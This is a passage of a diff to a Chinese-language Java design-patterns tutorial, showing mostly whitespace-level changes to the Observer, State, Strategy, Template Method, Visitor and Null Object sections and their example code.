-        notifyObserver();
-    }
+    public void setMeasurements(float temperature, float humidity, float pressure) {
+        this.temperature = temperature;
+        this.humidity = humidity;
+        this.pressure = pressure;
+        notifyObserver();
+    }
 
-    @Override
-    public void registerObserver(Observer o) {
-        observers.add(o);
-    }
+    @Override
+    public void registerObserver(Observer o) {
+        observers.add(o);
+    }
 
-    @Override
-    public void removeObserver(Observer o) {
-        int i = observers.indexOf(o);
-        if (i >= 0) {
-            observers.remove(i);
-        }
-    }
+    @Override
+    public void removeObserver(Observer o) {
+        int i = observers.indexOf(o);
+        if (i >= 0) {
+            observers.remove(i);
+        }
+    }
 
-    @Override
-    public void notifyObserver() {
-        for (Observer o : observers) {
-            o.update(temperature, humidity, pressure);
-        }
-    }
+    @Override
+    public void notifyObserver() {
+        for (Observer o : observers) {
+            o.update(temperature, humidity, pressure);
+        }
+    }
 }
 ```
 
 ```java
-public interface Observer {
-    void update(float temp, float humidity, float pressure);
+public interface Observer {
+    void update(float temp, float humidity, float pressure);
 }
 ```
 
 ```java
-public class StatisticsDisplay implements Observer {
+public class StatisticsDisplay implements Observer {
 
-    public StatisticsDisplay(Subject weatherData) {
-        weatherData.reisterObserver(this);
-    }
+    public StatisticsDisplay(Subject weatherData) {
+        weatherData.reisterObserver(this);
+    }
 
-    @Override
-    public void update(float temp, float humidity, float pressure) {
-        System.out.println("StatisticsDisplay.update: " + temp + " " + humidity + " " + pressure);
-    }
+    @Override
+    public void update(float temp, float humidity, float pressure) {
+        System.out.println("StatisticsDisplay.update: " + temp + " " + humidity + " " + pressure);
+    }
 }
 ```
 
 ```java
-public class CurrentConditionsDisplay implements Observer {
+public class CurrentConditionsDisplay implements Observer {
 
-    public CurrentConditionsDisplay(Subject weatherData) {
-        weatherData.registerObserver(this);
-    }
+    public CurrentConditionsDisplay(Subject weatherData) {
+        weatherData.registerObserver(this);
+    }
 
-    @Override
-    public void update(float temp, float humidity, float pressure) {
-        System.out.println("CurrentConditionsDisplay.update: " + temp + " " + humidity + " " + pressure);
-    }
+    @Override
+    public void update(float temp, float humidity, float pressure) {
+        System.out.println("CurrentConditionsDisplay.update: " + temp + " " + humidity + " " + pressure);
+    }
 }
 ```
 
 ```java
-public class WeatherStation {
-    public static void main(String[] args) {
-        WeatherData weatherData = new WeatherData();
-        CurrentConditionsDisplay currentConditionsDisplay = new CurrentConditionsDisplay(weatherData);
-        StatisticsDisplay statisticsDisplay = new StatisticsDisplay(weatherData);
+public class WeatherStation {
+    public static void main(String[] args) {
+        WeatherData weatherData = new WeatherData();
+        CurrentConditionsDisplay currentConditionsDisplay = new CurrentConditionsDisplay(weatherData);
+        StatisticsDisplay statisticsDisplay = new StatisticsDisplay(weatherData);
 
-        weatherData.setMeasurements(0, 0, 0);
-        weatherData.setMeasurements(1, 1, 1);
-    }
+        weatherData.setMeasurements(0, 0, 0);
+        weatherData.setMeasurements(1, 1, 1);
+    }
 }
 ```
 
 ```html
-CurrentConditionsDisplay.update: 0.0 0.0 0.0
-StatisticsDisplay.update: 0.0 0.0 0.0
-CurrentConditionsDisplay.update: 1.0 1.0 1.0
-StatisticsDisplay.update: 1.0 1.0 1.0
+CurrentConditionsDisplay.update: 0.0 0.0 0.0
+StatisticsDisplay.update: 0.0 0.0 0.0
+CurrentConditionsDisplay.update: 1.0 1.0 1.0
+StatisticsDisplay.update: 1.0 1.0 1.0
 ```
 
-### JDK
+### JDK
 
-- [java.util.Observer](http://docs.oracle.com/javase/8/docs/api/java/util/Observer.html)
-- [java.util.EventListener](http://docs.oracle.com/javase/8/docs/api/java/util/EventListener.html)
-- [javax.servlet.http.HttpSessionBindingListener](http://docs.oracle.com/javaee/7/api/javax/servlet/http/HttpSessionBindingListener.html)
-- [RxJava](https://github.com/ReactiveX/RxJava)
+- [java.util.Observer](http://docs.oracle.com/javase/8/docs/api/java/util/Observer.html)
+- [java.util.EventListener](http://docs.oracle.com/javase/8/docs/api/java/util/EventListener.html)
+- [javax.servlet.http.HttpSessionBindingListener](http://docs.oracle.com/javaee/7/api/javax/servlet/http/HttpSessionBindingListener.html)
+- [RxJava](https://github.com/ReactiveX/RxJava)
 
-## 8. 状态（State）
+## 8. 状态（State）
 
-### Intent
+### Intent
 
 允许对象在内部状态改变时改变它的行为，对象看起来好像修改了它所属的类。
 
-### Class Diagram
+### Class Diagram
 
-<div align="center"> <img src="pics/c5085437-54df-4304-b62d-44b961711ba7.png"/> </div><br>
+![](index_files/c5085437-54df-4304-b62d-44b961711ba7.png)
 
-### Implementation
+### Implementation
 
 糖果销售机有多种状态，每种状态下销售机有不同的行为，状态可以发生转移，使得销售机的行为也发生改变。
 
-<div align="center"> <img src="pics/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg" width="600"/> </div><br>
+<img src="index_files/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg" width="600"/>
 
 ```java
-public interface State {
-    /**
-     * 投入 25 分钱
-     */
-    void insertQuarter();
+public interface State {
+    /**
+     * 投入 25 分钱
+     */
+    void insertQuarter();
 
-    /**
-     * 退回 25 分钱
-     */
-    void ejectQuarter();
+    /**
+     * 退回 25 分钱
+     */
+    void ejectQuarter();
 
-    /**
-     * 转动曲柄
-     */
-    void turnCrank();
+    /**
+     * 转动曲柄
+     */
+    void turnCrank();
 
-    /**
-     * 发放糖果
-     */
-    void dispense();
+    /**
+     * 发放糖果
+     */
+    void dispense();
 }
 ```
 
 ```java
-public class HasQuarterState implements State {
+public class HasQuarterState implements State {
 
-    private GumballMachine gumballMachine;
+    private GumballMachine gumballMachine;
 
-    public HasQuarterState(GumballMachine gumballMachine) {
-        this.gumballMachine = gumballMachine;
-    }
+    public HasQuarterState(GumballMachine gumballMachine) {
+        this.gumballMachine = gumballMachine;
+    }
 
-    @Override
-    public void insertQuarter() {
-        System.out.println("You can't insert another quarter");
-    }
+    @Override
+    public void insertQuarter() {
+        System.out.println("You can't insert another quarter");
+    }
 
-    @Override
-    public void ejectQuarter() {
-        System.out.println("Quarter returned");
-        gumballMachine.setState(gumballMachine.getNoQuarterState());
-    }
+    @Override
+    public void ejectQuarter() {
+        System.out.println("Quarter returned");
+        gumballMachine.setState(gumballMachine.getNoQuarterState());
+    }
 
-    @Override
-    public void turnCrank() {
-        System.out.println("You turned...");
-        gumballMachine.setState(gumballMachine.getSoldState());
-    }
+    @Override
+    public void turnCrank() {
+        System.out.println("You turned...");
+        gumballMachine.setState(gumballMachine.getSoldState());
+    }
 
-    @Override
-    public void dispense() {
-        System.out.println("No gumball dispensed");
-    }
+    @Override
+    public void dispense() {
+        System.out.println("No gumball dispensed");
+    }
 }
 ```
 
 ```java
-public class NoQuarterState implements State {
+public class NoQuarterState implements State {
 
-    GumballMachine gumballMachine;
+    GumballMachine gumballMachine;
 
-    public NoQuarterState(GumballMachine gumballMachine) {
-        this.gumballMachine = gumballMachine;
-    }
+    public NoQuarterState(GumballMachine gumballMachine) {
+        this.gumballMachine = gumballMachine;
+    }
 
-    @Override
-    public void insertQuarter() {
-        System.out.println("You insert a quarter");
-        gumballMachine.setState(gumballMachine.getHasQuarterState());
-    }
+    @Override
+    public void insertQuarter() {
+        System.out.println("You insert a quarter");
+        gumballMachine.setState(gumballMachine.getHasQuarterState());
+    }
 
-    @Override
-    public void ejectQuarter() {
-        System.out.println("You haven't insert a quarter");
-    }
+    @Override
+    public void ejectQuarter() {
+        System.out.println("You haven't insert a quarter");
+    }
 
-    @Override
-    public void turnCrank() {
-        System.out.println("You turned, but there's no quarter");
-    }
+    @Override
+    public void turnCrank() {
+        System.out.println("You turned, but there's no quarter");
+    }
 
-    @Override
-    public void dispense() {
-        System.out.println("You need to pay first");
-    }
+    @Override
+    public void dispense() {
+        System.out.println("You need to pay first");
+    }
 }
 ```
 
 ```java
-public class SoldOutState implements State {
+public class SoldOutState implements State {
 
-    GumballMachine gumballMachine;
+    GumballMachine gumballMachine;
 
-    public SoldOutState(GumballMachine gumballMachine) {
-        this.gumballMachine = gumballMachine;
-    }
+    public SoldOutState(GumballMachine gumballMachine) {
+        this.gumballMachine = gumballMachine;
+    }
 
-    @Override
-    public void insertQuarter() {
-        System.out.println("You can't insert a quarter, the machine is sold out");
-    }
+    @Override
+    public void insertQuarter() {
+        System.out.println("You can't insert a quarter, the machine is sold out");
+    }
 
-    @Override
-    public void ejectQuarter() {
-        System.out.println("You can't eject, you haven't inserted a quarter yet");
-    }
+    @Override
+    public void ejectQuarter() {
+        System.out.println("You can't eject, you haven't inserted a quarter yet");
+    }
 
-    @Override
-    public void turnCrank() {
-        System.out.println("You turned, but there are no gumballs");
-    }
+    @Override
+    public void turnCrank() {
+        System.out.println("You turned, but there are no gumballs");
+    }
 
-    @Override
-    public void dispense() {
-        System.out.println("No gumball dispensed");
-    }
+    @Override
+    public void dispense() {
+        System.out.println("No gumball dispensed");
+    }
 }
 ```
 
 ```java
-public class SoldState implements State {
+public class SoldState implements State {
 
-    GumballMachine gumballMachine;
+    GumballMachine gumballMachine;
 
-    public SoldState(GumballMachine gumballMachine) {
-        this.gumballMachine = gumballMachine;
-    }
+    public SoldState(GumballMachine gumballMachine) {
+        this.gumballMachine = gumballMachine;
+    }
 
-    @Override
-    public void insertQuarter() {
-        System.out.println("Please wait, we're already giving you a gumball");
-    }
+    @Override
+    public void insertQuarter() {
+        System.out.println("Please wait, we're already giving you a gumball");
+    }
 
-    @Override
-    public void ejectQuarter() {
-        System.out.println("Sorry, you already turned the crank");
-    }
+    @Override
+    public void ejectQuarter() {
+        System.out.println("Sorry, you already turned the crank");
+    }
 
-    @Override
-    public void turnCrank() {
-        System.out.println("Turning twice doesn't get you another gumball!");
-    }
+    @Override
+    public void turnCrank() {
+        System.out.println("Turning twice doesn't get you another gumball!");
+    }
 
-    @Override
-    public void dispense() {
-        gumballMachine.releaseBall();
-        if (gumballMachine.getCount() > 0) {
-            gumballMachine.setState(gumballMachine.getNoQuarterState());
-        } else {
-            System.out.println("Oops, out of gumballs");
-            gumballMachine.setState(gumballMachine.getSoldOutState());
-        }
-    }
+    @Override
+    public void dispense() {
+        gumballMachine.releaseBall();
+        if (gumballMachine.getCount() > 0) {
+            gumballMachine.setState(gumballMachine.getNoQuarterState());
+        } else {
+            System.out.println("Oops, out of gumballs");
+            gumballMachine.setState(gumballMachine.getSoldOutState());
+        }
+    }
 }
 ```
 
 ```java
-public class GumballMachine {
+public class GumballMachine {
 
-    private State soldOutState;
-    private State noQuarterState;
-    private State hasQuarterState;
-    private State soldState;
+    private State soldOutState;
+    private State noQuarterState;
+    private State hasQuarterState;
+    private State soldState;
 
-    private State state;
-    private int count = 0;
+    private State state;
+    private int count = 0;
 
-    public GumballMachine(int numberGumballs) {
-        count = numberGumballs;
-        soldOutState = new SoldOutState(this);
-        noQuarterState = new NoQuarterState(this);
-        hasQuarterState = new HasQuarterState(this);
-        soldState = new SoldState(this);
+    public GumballMachine(int numberGumballs) {
+        count = numberGumballs;
+        soldOutState = new SoldOutState(this);
+        noQuarterState = new NoQuarterState(this);
+        hasQuarterState = new HasQuarterState(this);
+        soldState = new SoldState(this);
 
-        if (numberGumballs > 0) {
-            state = noQuarterState;
-        } else {
-            state = soldOutState;
-        }
-    }
+        if (numberGumballs > 0) {
+            state = noQuarterState;
+        } else {
+            state = soldOutState;
+        }
+    }
 
-    public void insertQuarter() {
-        state.insertQuarter();
-    }
+    public void insertQuarter() {
+        state.insertQuarter();
+    }
 
-    public void ejectQuarter() {
-        state.ejectQuarter();
-    }
+    public void ejectQuarter() {
+        state.ejectQuarter();
+    }
 
-    public void turnCrank() {
-        state.turnCrank();
-        state.dispense();
-    }
+    public void turnCrank() {
+        state.turnCrank();
+        state.dispense();
+    }
 
-    public void setState(State state) {
-        this.state = state;
-    }
+    public void setState(State state) {
+        this.state = state;
+    }
 
-    public void releaseBall() {
-        System.out.println("A gumball comes rolling out the slot...");
-        if (count != 0) {
-            count -= 1;
-        }
-    }
+    public void releaseBall() {
+        System.out.println("A gumball comes rolling out the slot...");
+        if (count != 0) {
+            count -= 1;
+        }
+    }
 
-    public State getSoldOutState() {
-        return soldOutState;
-    }
+    public State getSoldOutState() {
+        return soldOutState;
+    }
 
-    public State getNoQuarterState() {
-        return noQuarterState;
-    }
+    public State getNoQuarterState() {
+        return noQuarterState;
+    }
 
-    public State getHasQuarterState() {
-        return hasQuarterState;
-    }
+    public State getHasQuarterState() {
+        return hasQuarterState;
+    }
 
-    public State getSoldState() {
-        return soldState;
-    }
+    public State getSoldState() {
+        return soldState;
+    }
 
-    public int getCount() {
-        return count;
-    }
+    public int getCount() {
+        return count;
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        GumballMachine gumballMachine = new GumballMachine(5);
+    public static void main(String[] args) {
+        GumballMachine gumballMachine = new GumballMachine(5);
 
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
 
-        gumballMachine.insertQuarter();
-        gumballMachine.ejectQuarter();
-        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.ejectQuarter();
+        gumballMachine.turnCrank();
 
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-        gumballMachine.ejectQuarter();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+        gumballMachine.ejectQuarter();
 
-        gumballMachine.insertQuarter();
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-        gumballMachine.insertQuarter();
-        gumballMachine.turnCrank();
-    }
+        gumballMachine.insertQuarter();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+        gumballMachine.insertQuarter();
+        gumballMachine.turnCrank();
+    }
 }
 ```
 
 ```html
-You insert a quarter
-You turned...
-A gumball comes rolling out the slot...
-You insert a quarter
-Quarter returned
-You turned, but there's no quarter
-You need to pay first
-You insert a quarter
-You turned...
-A gumball comes rolling out the slot...
-You insert a quarter
-You turned...
-A gumball comes rolling out the slot...
-You haven't insert a quarter
-You insert a quarter
-You can't insert another quarter
-You turned...
-A gumball comes rolling out the slot...
-You insert a quarter
-You turned...
-A gumball comes rolling out the slot...
-Oops, out of gumballs
-You can't insert a quarter, the machine is sold out
-You turned, but there are no gumballs
-No gumball dispensed
+You insert a quarter
+You turned...
+A gumball comes rolling out the slot...
+You insert a quarter
+Quarter returned
+You turned, but there's no quarter
+You need to pay first
+You insert a quarter
+You turned...
+A gumball comes rolling out the slot...
+You insert a quarter
+You turned...
+A gumball comes rolling out the slot...
+You haven't insert a quarter
+You insert a quarter
+You can't insert another quarter
+You turned...
+A gumball comes rolling out the slot...
+You insert a quarter
+You turned...
+A gumball comes rolling out the slot...
+Oops, out of gumballs
+You can't insert a quarter, the machine is sold out
+You turned, but there are no gumballs
+No gumball dispensed
 ```
 
-## 9. 策略（Strategy）
+## 9. 策略（Strategy）
 
-### Intent
+### Intent
 
 定义一系列算法，封装每个算法，并使它们可以互换。
 
 策略模式可以让算法独立于使用它的客户端。
 
-### Class Diagram
+### Class Diagram
 
-- Strategy 接口定义了一个算法族，它们都实现了  behavior() 方法。
-- Context 是使用到该算法族的类，其中的 doSomething() 方法会调用 behavior()，setStrategy(Strategy) 方法可以动态地改变 strategy 对象，也就是说能动态地改变 Context 所使用的算法。
+- Strategy 接口定义了一个算法族，它们都实现了  behavior() 方法。
+- Context 是使用到该算法族的类，其中的 doSomething() 方法会调用 behavior()，setStrategy(Strategy) 方法可以动态地改变 strategy 对象，也就是说能动态地改变 Context 所使用的算法。
 
-<div align="center"> <img src="pics/1fc969e4-0e7c-441b-b53c-01950d2f2be5.png"/> </div><br>
+![](index_files/1fc969e4-0e7c-441b-b53c-01950d2f2be5.png)
 
-### 与状态模式的比较
+### 与状态模式的比较
 
-状态模式的类图和策略模式类似，并且都是能够动态改变对象的行为。但是状态模式是通过状态转移来改变 Context 所组合的 State 对象，而策略模式是通过 Context 本身的决策来改变组合的 Strategy 对象。所谓的状态转移，是指 Context 在运行过程中由于一些条件发生改变而使得 State 对象发生改变，注意必须要是在运行过程中。
+状态模式的类图和策略模式类似，并且都是能够动态改变对象的行为。但是状态模式是通过状态转移来改变 Context 所组合的 State 对象，而策略模式是通过 Context 本身的决策来改变组合的 Strategy 对象。所谓的状态转移，是指 Context 在运行过程中由于一些条件发生改变而使得 State 对象发生改变，注意必须要是在运行过程中。
 
-状态模式主要是用来解决状态转移的问题，当状态发生转移了，那么 Context 对象就会改变它的行为；而策略模式主要是用来封装一组可以互相替代的算法族，并且可以根据需要动态地去替换 Context 使用的算法。
+状态模式主要是用来解决状态转移的问题，当状态发生转移了，那么 Context 对象就会改变它的行为；而策略模式主要是用来封装一组可以互相替代的算法族，并且可以根据需要动态地去替换 Context 使用的算法。
 
-### Implementation
+### Implementation
 
 设计一个鸭子，它可以动态地改变叫声。这里的算法族是鸭子的叫声行为。
 
 ```java
-public interface QuackBehavior {
-    void quack();
+public interface QuackBehavior {
+    void quack();
 }
 ```
 
 ```java
-public class Quack implements QuackBehavior {
-    @Override
-    public void quack() {
-        System.out.println("quack!");
-    }
+public class Quack implements QuackBehavior {
+    @Override
+    public void quack() {
+        System.out.println("quack!");
+    }
 }
 ```
 
 ```java
-public class Squeak implements QuackBehavior{
-    @Override
-    public void quack() {
-        System.out.println("squeak!");
-    }
+public class Squeak implements QuackBehavior{
+    @Override
+    public void quack() {
+        System.out.println("squeak!");
+    }
 }
 ```
 
 ```java
-public class Duck {
+public class Duck {
 
-    private QuackBehavior quackBehavior;
+    private QuackBehavior quackBehavior;
 
-    public void performQuack() {
-        if (quackBehavior != null) {
-            quackBehavior.quack();
-        }
-    }
+    public void performQuack() {
+        if (quackBehavior != null) {
+            quackBehavior.quack();
+        }
+    }
 
-    public void setQuackBehavior(QuackBehavior quackBehavior) {
-        this.quackBehavior = quackBehavior;
-    }
+    public void setQuackBehavior(QuackBehavior quackBehavior) {
+        this.quackBehavior = quackBehavior;
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        Duck duck = new Duck();
-        duck.setQuackBehavior(new Squeak());
-        duck.performQuack();
-        duck.setQuackBehavior(new Quack());
-        duck.performQuack();
-    }
+    public static void main(String[] args) {
+        Duck duck = new Duck();
+        duck.setQuackBehavior(new Squeak());
+        duck.performQuack();
+        duck.setQuackBehavior(new Quack());
+        duck.performQuack();
+    }
 }
 ```
 
@@ -1973,91 +1938,91 @@ squeak!
 quack!
 ```
 
-### JDK
+### JDK
 
-- java.util.Comparator#compare()
-- javax.servlet.http.HttpServlet
-- javax.servlet.Filter#doFilter()
+- java.util.Comparator#compare()
+- javax.servlet.http.HttpServlet
+- javax.servlet.Filter#doFilter()
 
-## 10. 模板方法（Template Method）
+## 10. 模板方法（Template Method）
 
-### Intent
+### Intent
 
 定义算法框架，并将一些步骤的实现延迟到子类。
 
 通过模板方法，子类可以重新定义算法的某些步骤，而不用改变算法的结构。
 
-### Class Diagram
+### Class Diagram
 
-<div align="center"> <img src="pics/c3c1c0e8-3a78-4426-961f-b46dd0879dd8.png"/> </div><br>
+![](index_files/c3c1c0e8-3a78-4426-961f-b46dd0879dd8.png)
 
-### Implementation
+### Implementation
 
 冲咖啡和冲茶都有类似的流程，但是某些步骤会有点不一样，要求复用那些相同步骤的代码。
 
-<div align="center"> <img src="pics/11236498-1417-46ce-a1b0-e10054256955.png"/> </div><br>
+![](index_files/11236498-1417-46ce-a1b0-e10054256955.png)
 
 ```java
-public abstract class CaffeineBeverage {
+public abstract class CaffeineBeverage {
 
-    final void prepareRecipe() {
-        boilWater();
-        brew();
-        pourInCup();
-        addCondiments();
-    }
+    final void prepareRecipe() {
+        boilWater();
+        brew();
+        pourInCup();
+        addCondiments();
+    }
 
-    abstract void brew();
+    abstract void brew();
 
-    abstract void addCondiments();
+    abstract void addCondiments();
 
-    void boilWater() {
-        System.out.println("boilWater");
-    }
+    void boilWater() {
+        System.out.println("boilWater");
+    }
 
-    void pourInCup() {
-        System.out.println("pourInCup");
-    }
+    void pourInCup() {
+        System.out.println("pourInCup");
+    }
 }
 ```
 
 ```java
-public class Coffee extends CaffeineBeverage {
-    @Override
-    void brew() {
-        System.out.println("Coffee.brew");
-    }
+public class Coffee extends CaffeineBeverage {
+    @Override
+    void brew() {
+        System.out.println("Coffee.brew");
+    }
 
-    @Override
-    void addCondiments() {
-        System.out.println("Coffee.addCondiments");
-    }
+    @Override
+    void addCondiments() {
+        System.out.println("Coffee.addCondiments");
+    }
 }
 ```
 
 ```java
-public class Tea extends CaffeineBeverage {
-    @Override
-    void brew() {
-        System.out.println("Tea.brew");
-    }
+public class Tea extends CaffeineBeverage {
+    @Override
+    void brew() {
+        System.out.println("Tea.brew");
+    }
 
-    @Override
-    void addCondiments() {
-        System.out.println("Tea.addCondiments");
-    }
+    @Override
+    void addCondiments() {
+        System.out.println("Tea.addCondiments");
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        CaffeineBeverage caffeineBeverage = new Coffee();
-        caffeineBeverage.prepareRecipe();
-        System.out.println("-----------");
-        caffeineBeverage = new Tea();
-        caffeineBeverage.prepareRecipe();
-    }
+public class Client {
+    public static void main(String[] args) {
+        CaffeineBeverage caffeineBeverage = new Coffee();
+        caffeineBeverage.prepareRecipe();
+        System.out.println("-----------");
+        caffeineBeverage = new Tea();
+        caffeineBeverage.prepareRecipe();
+    }
 }
 ```
 
@@ -2073,194 +2038,194 @@ pourInCup
 Tea.addCondiments
 ```
 
-### JDK
+### JDK
 
-- java.util.Collections#sort()
-- java.io.InputStream#skip()
-- java.io.InputStream#read()
-- java.util.AbstractList#indexOf()
+- java.util.Collections#sort()
+- java.io.InputStream#skip()
+- java.io.InputStream#read()
+- java.util.AbstractList#indexOf()
 
-## 11. 访问者（Visitor）
+## 11. 访问者（Visitor）
 
-### Intent
+### Intent
 
 为一个对象结构（比如组合结构）增加新能力。
 
-### Class Diagram
+### Class Diagram
 
-- Visitor：访问者，为每一个 ConcreteElement 声明一个 visit 操作
-- ConcreteVisitor：具体访问者，存储遍历过程中的累计结果
-- ObjectStructure：对象结构，可以是组合结构，或者是一个集合。
+- Visitor：访问者，为每一个 ConcreteElement 声明一个 visit 操作
+- ConcreteVisitor：具体访问者，存储遍历过程中的累计结果
+- ObjectStructure：对象结构，可以是组合结构，或者是一个集合。
 
-<div align="center"> <img src="pics/ec923dc7-864c-47b0-a411-1f2c48d084de.png"/> </div><br>
+![](index_files/ec923dc7-864c-47b0-a411-1f2c48d084de.png)
 
-### Implementation
+### Implementation
 
 ```java
-public interface Element {
-    void accept(Visitor visitor);
+public interface Element {
+    void accept(Visitor visitor);
 }
 ```
 
 ```java
-class CustomerGroup {
+class CustomerGroup {
 
-    private List<Customer> customers = new ArrayList<>();
+    private List<Customer> customers = new ArrayList<>();
 
-    void accept(Visitor visitor) {
-        for (Customer customer : customers) {
-            customer.accept(visitor);
-        }
-    }
+    void accept(Visitor visitor) {
+        for (Customer customer : customers) {
+            customer.accept(visitor);
+        }
+    }
 
-    void addCustomer(Customer customer) {
-        customers.add(customer);
-    }
+    void addCustomer(Customer customer) {
+        customers.add(customer);
+    }
 }
 ```
 
 ```java
-public class Customer implements Element {
+public class Customer implements Element {
 
-    private String name;
-    private List<Order> orders = new ArrayList<>();
+    private String name;
+    private List<Order> orders = new ArrayList<>();
 
-    Customer(String name) {
-        this.name = name;
-    }
+    Customer(String name) {
+        this.name = name;
+    }
 
-    String getName() {
-        return name;
-    }
+    String getName() {
+        return name;
+    }
 
-    void addOrder(Order order) {
-        orders.add(order);
-    }
+    void addOrder(Order order) {
+        orders.add(order);
+    }
 
-    public void accept(Visitor visitor) {
-        visitor.visit(this);
-        for (Order order : orders) {
-            order.accept(visitor);
-        }
-    }
+    public void accept(Visitor visitor) {
+        visitor.visit(this);
+        for (Order order : orders) {
+            order.accept(visitor);
+        }
+    }
 }
 ```
 
 ```java
-public class Order implements Element {
+public class Order implements Element {
 
-    private String name;
-    private List<Item> items = new ArrayList();
+    private String name;
+    private List<Item> items = new ArrayList();
 
-    Order(String name) {
-        this.name = name;
-    }
+    Order(String name) {
+        this.name = name;
+    }
 
-    Order(String name, String itemName) {
-        this.name = name;
-        this.addItem(new Item(itemName));
-    }
+    Order(String name, String itemName) {
+        this.name = name;
+        this.addItem(new Item(itemName));
+    }
 
-    String getName() {
-        return name;
-    }
+    String getName() {
+        return name;
+    }
 
-    void addItem(Item item) {
-        items.add(item);
-    }
+    void addItem(Item item) {
+        items.add(item);
+    }
 
-    public void accept(Visitor visitor) {
-        visitor.visit(this);
+    public void accept(Visitor visitor) {
+        visitor.visit(this);
 
-        for (Item item : items) {
-            item.accept(visitor);
-        }
-    }
+        for (Item item : items) {
+            item.accept(visitor);
+        }
+    }
 }
 ```
 
 ```java
-public class Item implements Element {
+public class Item implements Element {
 
-    private String name;
+    private String name;
 
-    Item(String name) {
-        this.name = name;
-    }
+    Item(String name) {
+        this.name = name;
+    }
 
-    String getName() {
-        return name;
-    }
+    String getName() {
+        return name;
+    }
 
-    public void accept(Visitor visitor) {
-        visitor.visit(this);
-    }
+    public void accept(Visitor visitor) {
+        visitor.visit(this);
+    }
 }
 ```
 
 ```java
-public interface Visitor {
-    void visit(Customer customer);
+public interface Visitor {
+    void visit(Customer customer);
 
-    void visit(Order order);
+    void visit(Order order);
 
-    void visit(Item item);
+    void visit(Item item);
 }
 ```
 
 ```java
-public class GeneralReport implements Visitor {
+public class GeneralReport implements Visitor {
 
-    private int customersNo;
-    private int ordersNo;
-    private int itemsNo;
+    private int customersNo;
+    private int ordersNo;
+    private int itemsNo;
 
-    public void visit(Customer customer) {
-        System.out.println(customer.getName());
-        customersNo++;
-    }
+    public void visit(Customer customer) {
+        System.out.println(customer.getName());
+        customersNo++;
+    }
 
-    public void visit(Order order) {
-        System.out.println(order.getName());
-        ordersNo++;
-    }
+    public void visit(Order order) {
+        System.out.println(order.getName());
+        ordersNo++;
+    }
 
-    public void visit(Item item) {
-        System.out.println(item.getName());
-        itemsNo++;
-    }
+    public void visit(Item item) {
+        System.out.println(item.getName());
+        itemsNo++;
+    }
 
-    public void displayResults() {
-        System.out.println("Number of customers: " + customersNo);
-        System.out.println("Number of orders:    " + ordersNo);
-        System.out.println("Number of items:     " + itemsNo);
-    }
+    public void displayResults() {
+        System.out.println("Number of customers: " + customersNo);
+        System.out.println("Number of orders:    " + ordersNo);
+        System.out.println("Number of items:     " + itemsNo);
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Customer customer1 = new Customer("customer1");
-        customer1.addOrder(new Order("order1", "item1"));
-        customer1.addOrder(new Order("order2", "item1"));
-        customer1.addOrder(new Order("order3", "item1"));
+public class Client {
+    public static void main(String[] args) {
+        Customer customer1 = new Customer("customer1");
+        customer1.addOrder(new Order("order1", "item1"));
+        customer1.addOrder(new Order("order2", "item1"));
+        customer1.addOrder(new Order("order3", "item1"));
 
-        Order order = new Order("order_a");
-        order.addItem(new Item("item_a1"));
-        order.addItem(new Item("item_a2"));
-        order.addItem(new Item("item_a3"));
-        Customer customer2 = new Customer("customer2");
-        customer2.addOrder(order);
+        Order order = new Order("order_a");
+        order.addItem(new Item("item_a1"));
+        order.addItem(new Item("item_a2"));
+        order.addItem(new Item("item_a3"));
+        Customer customer2 = new Customer("customer2");
+        customer2.addOrder(order);
 
-        CustomerGroup customers = new CustomerGroup();
-        customers.addCustomer(customer1);
-        customers.addCustomer(customer2);
+        CustomerGroup customers = new CustomerGroup();
+        customers.addCustomer(customer1);
+        customers.addCustomer(customer2);
 
-        GeneralReport visitor = new GeneralReport();
-        customers.accept(visitor);
-        visitor.displayResults();
-    }
+        GeneralReport visitor = new GeneralReport();
+        customers.accept(visitor);
+        visitor.displayResults();
+    }
 }
 ```
 
@@ -2277,413 +2242,413 @@ order_a
 item_a1
 item_a2
 item_a3
-Number of customers: 2
-Number of orders:    4
-Number of items:     6
+Number of customers: 2
+Number of orders:    4
+Number of items:     6
 ```
 
-### JDK
+### JDK
 
-- javax.lang.model.element.Element and javax.lang.model.element.ElementVisitor
-- javax.lang.model.type.TypeMirror and javax.lang.model.type.TypeVisitor
+- javax.lang.model.element.Element and javax.lang.model.element.ElementVisitor
+- javax.lang.model.type.TypeMirror and javax.lang.model.type.TypeVisitor
 
-## 12. 空对象（Null）
+## 12. 空对象（Null）
 
-### Intent
+### Intent
 
-使用什么都不做的空对象来代替 NULL。
+使用什么都不做的空对象来代替 NULL。
 
-一个方法返回 NULL，意味着方法的调用端需要去检查返回值是否是 NULL，这么做会导致非常多的冗余的检查代码。并且如果某一个调用端忘记了做这个检查返回值，而直接使用返回的对象，那么就有可能抛出空指针异常。
+一个方法返回 NULL，意味着方法的调用端需要去检查返回值是否是 NULL，这么做会导致非常多的冗余的检查代码。并且如果某一个调用端忘记了做这个检查返回值，而直接使用返回的对象，那么就有可能抛出空指针异常。
 
-### Class Diagram
+### Class Diagram
 
-<div align="center"> <img src="pics/dd3b289c-d90e-44a6-a44c-4880517eb1de.png"/> </div><br>
+![](index_files/dd3b289c-d90e-44a6-a44c-4880517eb1de.png)
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class AbstractOperation {
-    abstract void request();
+public abstract class AbstractOperation {
+    abstract void request();
 }
 ```
 
 ```java
-public class RealOperation extends AbstractOperation {
-    @Override
-    void request() {
-        System.out.println("do something");
-    }
+public class RealOperation extends AbstractOperation {
+    @Override
+    void request() {
